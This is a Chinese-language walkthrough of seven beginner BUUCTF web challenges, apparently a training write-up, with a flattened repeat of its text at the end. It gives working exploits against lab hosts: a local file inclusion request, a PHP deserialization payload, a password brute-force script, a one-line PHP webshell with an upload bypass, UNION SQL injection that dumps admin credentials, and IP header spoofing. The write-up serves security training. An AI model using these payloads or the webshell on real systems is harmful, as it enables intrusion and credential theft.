buuctf Basic
字数 1501 2025-08-11 17:40:26

BUUCTF Basic 题目解析与教学文档

1. Linux Labs

目标:通过SSH连接Linux服务器获取flag

步骤

  1. 使用SSH客户端(如Xshell)连接服务器
    • 用户名:root
    • 密码:123456
  2. 执行命令查看文件:
    ls ../
    
  3. 查看flag文件:
    cat ../flag.txt
    

Flagflag{8fee8783-1ed5-4b67-90eb-a1d603a02080}

2. BUU LFI COURSE 1

目标:利用本地文件包含漏洞获取flag

分析

  • URL中存在通过GET方式传递的file参数
  • 源代码审查发现文件包含漏洞

利用方法
构造payload访问flag文件:

http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/?file=/flag

Flagflag{f2be8efe-aafb-4272-9026-15daa6109822}

3. BUU CODE REVIEW 1

目标:通过代码审计和反序列化漏洞获取flag

代码分析

class BUU {
    public $correct = "";
    public $input = "";
    
    public function __destruct() {
        $this->correct = base64_encode(uniqid());
        if($this->correct === $this->input) {
            echo file_get_contents("/flag");
        }
    }
}

利用条件

  1. GET参数pleaseget=1
  2. POST参数pleasepost=2
  3. POST参数md51md52不同但MD5值相同
  4. POST参数obj包含序列化的BUU对象

利用方法

方法一:利用PHP弱类型比较

class BUU{
    public $correct="";
    public $input="";
}

$obj = new BUU;
$obj->input = &$obj->correct;  // 传引用使两者始终相等
echo serialize($obj);

Payload

/?pleaseget=1
POST: pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

方法二:使用MD5碰撞

/?pleaseget=1
POST: pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

Flagflag{e8db4533-5be4-4167-823c-99aa37dd11c3}

4. BUU BRUTE 1

目标:暴力破解管理员密码

分析

  • 密码为四位数字
  • 用户名为admin

利用方法

方法一:Python脚本爆破

import requests
url = "http://1ceee8eb-6422-4482-b14b-ff6347146129.node3.buuoj.cn/?username=admin&password="
for i in range(6400, 7000):
    res = requests.get(url + str(i))
    print("[*] Try:", i)
    if res.text != "密码错误,为四位数字。":
        print(res.text)
        break

方法二:Burp Suite爆破

  • 设置Intruder攻击
  • 使用数字payload从0000-9999
  • 注意降低线程速度避免被封禁

Flagflag{410c3a24-9741-48ad-bea2-664880484307}

5. BUU UPLOAD COURSE 1

目标:上传Webshell获取flag

步骤

  1. 访问上传页面:http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=upload.php
  2. 上传PHP文件(修改后缀为.jpg绕过检测):
    <?php @eval(system($_POST["x"]));?>
    
  3. 访问上传的文件并执行命令:
    http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=uploads/[filename].jpg
    POST: x=ls
    
  4. 查看flag:
    x=cat /flag
    

Flagflag{75427571-4ee5-4f7c-b97a-b84ad969ca1f}

6. BUU SQL COURSE 1

目标:利用SQL注入获取管理员凭证

步骤

  1. 发现注入点:新闻详情页的id参数
  2. 查询表名:
    ?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
    
    结果:admin,contents
  3. 查询admin表列名:
    ?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#
    
    结果:id,username,password
  4. 查询管理员凭证:
    ?id=0 union select group_concat(username),group_concat(password) from admin#
    
    结果:admin,5398f18f7e93f8e45f6ea31bc4105a2d

Flagflag{86ac0951-9f94-4b5e-b19b-07a9a4109c15}

7. BUU BURP COURSE 1

目标:绕过IP限制获取flag

分析

  • 页面提示需要本地访问
  • 可通过X-Real-IP头伪造IP

利用方法

  1. 添加HTTP头:
    X-Real-IP: 127.0.0.1
    
  2. 提交任意用户名和密码组合

Flagflag{1470d887-a1c6-4109-b401-12ccda3cba8d}

总结

本系列题目涵盖了多种基础Web安全技术:

  1. 基础Linux操作
  2. 文件包含漏洞
  3. PHP反序列化漏洞
  4. 暴力破解
  5. 文件上传漏洞
  6. SQL注入
  7. HTTP头伪造

每个题目都展示了常见Web漏洞的利用方法,是很好的CTF入门练习。

BUUCTF Basic 题目解析与教学文档 1. Linux Labs 目标 :通过SSH连接Linux服务器获取flag 步骤 : 使用SSH客户端(如Xshell)连接服务器 用户名:root 密码:123456 执行命令查看文件: 查看flag文件: Flag : flag{8fee8783-1ed5-4b67-90eb-a1d603a02080} 2. BUU LFI COURSE 1 目标 :利用本地文件包含漏洞获取flag 分析 : URL中存在通过GET方式传递的file参数 源代码审查发现文件包含漏洞 利用方法 : 构造payload访问flag文件: Flag : flag{f2be8efe-aafb-4272-9026-15daa6109822} 3. BUU CODE REVIEW 1 目标 :通过代码审计和反序列化漏洞获取flag 代码分析 : 利用条件 : GET参数 pleaseget=1 POST参数 pleasepost=2 POST参数 md51 和 md52 不同但MD5值相同 POST参数 obj 包含序列化的BUU对象 利用方法 : 方法一 :利用PHP弱类型比较 Payload : 方法二 :使用MD5碰撞 Flag : flag{e8db4533-5be4-4167-823c-99aa37dd11c3} 4. BUU BRUTE 1 目标 :暴力破解管理员密码 分析 : 密码为四位数字 用户名为admin 利用方法 : 方法一 :Python脚本爆破 方法二 :Burp Suite爆破 设置Intruder攻击 使用数字payload从0000-9999 注意降低线程速度避免被封禁 Flag : flag{410c3a24-9741-48ad-bea2-664880484307} 5. BUU UPLOAD COURSE 1 目标 :上传Webshell获取flag 步骤 : 访问上传页面: http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=upload.php 上传PHP文件(修改后缀为.jpg绕过检测): 访问上传的文件并执行命令: 查看flag: Flag : flag{75427571-4ee5-4f7c-b97a-b84ad969ca1f} 6. BUU SQL COURSE 1 目标 :利用SQL注入获取管理员凭证 步骤 : 发现注入点:新闻详情页的id参数 查询表名: 结果: admin,contents 查询admin表列名: 结果: id,username,password 查询管理员凭证: 结果: admin,5398f18f7e93f8e45f6ea31bc4105a2d Flag : flag{86ac0951-9f94-4b5e-b19b-07a9a4109c15} 7. BUU BURP COURSE 1 目标 :绕过IP限制获取flag 分析 : 页面提示需要本地访问 可通过X-Real-IP头伪造IP 利用方法 : 添加HTTP头: 提交任意用户名和密码组合 Flag : flag{1470d887-a1c6-4109-b401-12ccda3cba8d} 总结 本系列题目涵盖了多种基础Web安全技术: 基础Linux操作 文件包含漏洞 PHP反序列化漏洞 暴力破解 文件上传漏洞 SQL注入 HTTP头伪造 每个题目都展示了常见Web漏洞的利用方法,是很好的CTF入门练习。